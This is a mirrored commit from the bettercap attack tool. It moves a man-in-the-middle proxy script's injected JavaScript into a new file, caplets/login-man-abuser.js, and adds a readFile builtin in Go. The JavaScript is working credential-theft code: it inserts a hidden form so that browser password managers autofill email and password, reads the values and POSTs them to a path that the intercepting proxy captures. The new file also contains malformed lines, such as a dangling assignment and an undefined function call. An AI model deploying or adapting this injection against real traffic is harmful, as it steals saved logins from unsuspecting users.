mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 21:13:18 -07:00
refact: exposing readFile builtin function to proxy scripts.
This commit is contained in:
parent
17bbae48a3
commit
493867be6b
3 changed files with 95 additions and 60 deletions
|
@ -9,66 +9,12 @@
|
||||||
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
|
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
|
||||||
* - Intercept request, dump credentials, drop client to 404.
|
* - Intercept request, dump credentials, drop client to 404.
|
||||||
*/
|
*/
|
||||||
var AbuserJavascript =
|
var AbuserJavascript = "";
|
||||||
'var injectForm = function(visible) {' + "\n" +
|
|
||||||
' var container = document.createElement("div");' + "\n" +
|
function onLoad() {
|
||||||
' if (!visible){' + "\n" +
|
console.log( "Loading abuser code from caplets/login-man-abuser.js" );
|
||||||
' container.style.display = "none";' + "\n" +
|
AbuserJavascript = readFile("caplets/login-man-abuser.js")
|
||||||
' }' + "\n" +
|
}
|
||||||
' var form = document.createElement("form");' + "\n" +
|
|
||||||
' form.attributes.autocomplete = "on";' + "\n" +
|
|
||||||
' var emailInput = document.createElement("input");' + "\n" +
|
|
||||||
' emailInput.attributes.vcard_name = "vCard.Email";' + "\n" +
|
|
||||||
' emailInput.id = "email";' + "\n" +
|
|
||||||
' emailInput.type = "email";' + "\n" +
|
|
||||||
' emailInput.name = "email";' + "\n" +
|
|
||||||
' form.appendChild(emailInput);' + "\n" +
|
|
||||||
' var passwordInput = document.createElement("input");' + "\n" +
|
|
||||||
' passwordInput.id = "password";' + "\n" +
|
|
||||||
' passwordInput.type = "password";' + "\n" +
|
|
||||||
' passwordInput.name = "password";' + "\n" +
|
|
||||||
' form.appendChild(passwordInput);' + "\n" +
|
|
||||||
' container.appendChild(form);' + "\n" +
|
|
||||||
' document.body.appendChild(container);' + "\n" +
|
|
||||||
'};' + "\n" +
|
|
||||||
'' + "\n" +
|
|
||||||
'var doPOST = function(data) {' + "\n" +
|
|
||||||
' var xhr = new XMLHttpRequest();' + "\n" +
|
|
||||||
'' + "\n" +
|
|
||||||
' xhr.open("POST", "/login-man-abuser");' + "\n" +
|
|
||||||
' xhr.setRequestHeader("Content-Type", "application/json");' + "\n" +
|
|
||||||
' xhr.onload = function() {' + "\n" +
|
|
||||||
' console.log("Enjoy your coffee!");' + "\n" +
|
|
||||||
' };' + "\n" +
|
|
||||||
'' + "\n" +
|
|
||||||
' xhr.send(JSON.stringify(data));' + "\n" +
|
|
||||||
'};' + "\n" +
|
|
||||||
'' + "\n" +
|
|
||||||
'var sniffInputField = function(fieldId){' + "\n" +
|
|
||||||
' var inputElement = document.getElementById(fieldId);' + "\n" +
|
|
||||||
' if (inputElement.value.length){' + "\n" +
|
|
||||||
' return {fieldId: inputElement.value};' + "\n" +
|
|
||||||
' }' + "\n" +
|
|
||||||
' window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms' + "\n" +
|
|
||||||
'};' + "\n" +
|
|
||||||
'' + "\n" +
|
|
||||||
'var sniffInputFields = function(){' + "\n" +
|
|
||||||
' var inputs = document.getElementsByTagName("input");' + "\n" +
|
|
||||||
' data = {};' + "\n" +
|
|
||||||
' for (var i = 0; i < inputs.length; i++) {' + "\n" +
|
|
||||||
' console.log("Will try to sniff element with id: " + inputs[i].id);' + "\n" +
|
|
||||||
' output = stringsniffInputField(inputs[i].id);' + "\n" +
|
|
||||||
' data = Object.assign({}, data, output);' + "\n" +
|
|
||||||
' }' + "\n" +
|
|
||||||
' doPOST(data);' + "\n" +
|
|
||||||
'};' + "\n" +
|
|
||||||
'' + "\n" +
|
|
||||||
'var sniffFormInfo = function(visible) {' + "\n" +
|
|
||||||
' injectForm(visible);' + "\n" +
|
|
||||||
' sniffInputFields();' + "\n" +
|
|
||||||
'};' + "\n" +
|
|
||||||
'' + "\n" +
|
|
||||||
'sniffFormInfo(false);';
|
|
||||||
|
|
||||||
// here we intercept the ajax POST request with leaked credentials.
|
// here we intercept the ajax POST request with leaked credentials.
|
||||||
function onRequest(req, res) {
|
function onRequest(req, res) {
|
||||||
|
@ -88,6 +34,7 @@ function onRequest(req, res) {
|
||||||
function onResponse(req, res) {
|
function onResponse(req, res) {
|
||||||
if( res.ContentType.indexOf('text/html') == 0 ){
|
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||||
var body = res.ReadBody();
|
var body = res.ReadBody();
|
||||||
|
console.log(AbuserJavascript);
|
||||||
if( body.indexOf('</head>') != -1 ) {
|
if( body.indexOf('</head>') != -1 ) {
|
||||||
res.Body = body.replace(
|
res.Body = body.replace(
|
||||||
'</head>',
|
'</head>',
|
||||||
|
|
71
caplets/login-man-abuser.js
Normal file
71
caplets/login-man-abuser.js
Normal file
|
@ -0,0 +1,71 @@
|
||||||
|
/*
|
||||||
|
* Ref.
|
||||||
|
* - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
|
||||||
|
* - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
|
||||||
|
*
|
||||||
|
* The idea:
|
||||||
|
*
|
||||||
|
* - On every html page, inject this invisible form who grabs credentials from login managers.
|
||||||
|
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, well intercept this request.
|
||||||
|
* - Intercept request, dump credentials, drop client to 404.
|
||||||
|
*/
|
||||||
|
var AbuserJavascript =
|
||||||
|
var injectForm = function(visible) {
|
||||||
|
var container = document.createElement("div");
|
||||||
|
if (!visible){
|
||||||
|
container.style.display = "none";
|
||||||
|
}
|
||||||
|
var form = document.createElement("form");
|
||||||
|
form.attributes.autocomplete = "on";
|
||||||
|
var emailInput = document.createElement("input");
|
||||||
|
emailInput.attributes.vcard_name = "vCard.Email";
|
||||||
|
emailInput.id = "email";
|
||||||
|
emailInput.type = "email";
|
||||||
|
emailInput.name = "email";
|
||||||
|
form.appendChild(emailInput);
|
||||||
|
var passwordInput = document.createElement("input");
|
||||||
|
passwordInput.id = "password";
|
||||||
|
passwordInput.type = "password";
|
||||||
|
passwordInput.name = "password";
|
||||||
|
form.appendChild(passwordInput);
|
||||||
|
container.appendChild(form);
|
||||||
|
document.body.appendChild(container);
|
||||||
|
};
|
||||||
|
|
||||||
|
var doPOST = function(data) {
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
|
||||||
|
xhr.open("POST", "/login-man-abuser");
|
||||||
|
xhr.setRequestHeader("Content-Type", "application/json");
|
||||||
|
xhr.onload = function() {
|
||||||
|
console.log("Enjoy your coffee!");
|
||||||
|
};
|
||||||
|
|
||||||
|
xhr.send(JSON.stringify(data));
|
||||||
|
};
|
||||||
|
|
||||||
|
var sniffInputField = function(fieldId){
|
||||||
|
var inputElement = document.getElementById(fieldId);
|
||||||
|
if (inputElement.value.length){
|
||||||
|
return {fieldId: inputElement.value};
|
||||||
|
}
|
||||||
|
window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms
|
||||||
|
};
|
||||||
|
|
||||||
|
var sniffInputFields = function(){
|
||||||
|
var inputs = document.getElementsByTagName("input");
|
||||||
|
data = {};
|
||||||
|
for (var i = 0; i < inputs.length; i++) {
|
||||||
|
console.log("Will try to sniff element with id: " + inputs[i].id);
|
||||||
|
output = stringsniffInputField(inputs[i].id);
|
||||||
|
data = Object.assign({}, data, output);
|
||||||
|
}
|
||||||
|
doPOST(data);
|
||||||
|
};
|
||||||
|
|
||||||
|
var sniffFormInfo = function(visible) {
|
||||||
|
injectForm(visible);
|
||||||
|
sniffInputFields();
|
||||||
|
};
|
||||||
|
|
||||||
|
sniffFormInfo(false);;
|
|
@ -57,6 +57,23 @@ func LoadProxyScript(path string, sess *session.Session) (err error, s *ProxyScr
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// define builtins
|
||||||
|
s.VM.Set("readFile", func(call otto.FunctionCall) otto.Value {
|
||||||
|
filename := call.Argument(0).String()
|
||||||
|
raw, err := ioutil.ReadFile(filename)
|
||||||
|
if err != nil {
|
||||||
|
s.sess.Events.Log(session.ERROR, "Could not read %s: %s", filename, err)
|
||||||
|
return otto.Value{}
|
||||||
|
}
|
||||||
|
|
||||||
|
v, err := s.VM.ToValue(string(raw))
|
||||||
|
if err != nil {
|
||||||
|
s.sess.Events.Log(session.ERROR, "Could not convert to string: %s", err)
|
||||||
|
return otto.Value{}
|
||||||
|
}
|
||||||
|
return v
|
||||||
|
})
|
||||||
|
|
||||||
// run onLoad if defined
|
// run onLoad if defined
|
||||||
if s.hasCallback("onLoad") {
|
if s.hasCallback("onLoad") {
|
||||||
_, err = s.VM.Run("onLoad()")
|
_, err = s.VM.Run("onLoad()")
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue